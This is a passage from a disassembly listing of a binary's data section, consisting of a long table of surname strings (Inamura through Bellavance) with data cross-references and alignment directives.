'Inamura',0 ; DATA XREF: ___:0042E16Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E164o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E14Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o aHand db 'Hand',0 ; DATA XREF: ___:0042E070o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E044o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E008o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF28o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o ; ___:0042DD4Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo ; ___:0042DC00o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DB94o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DAFCo align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o 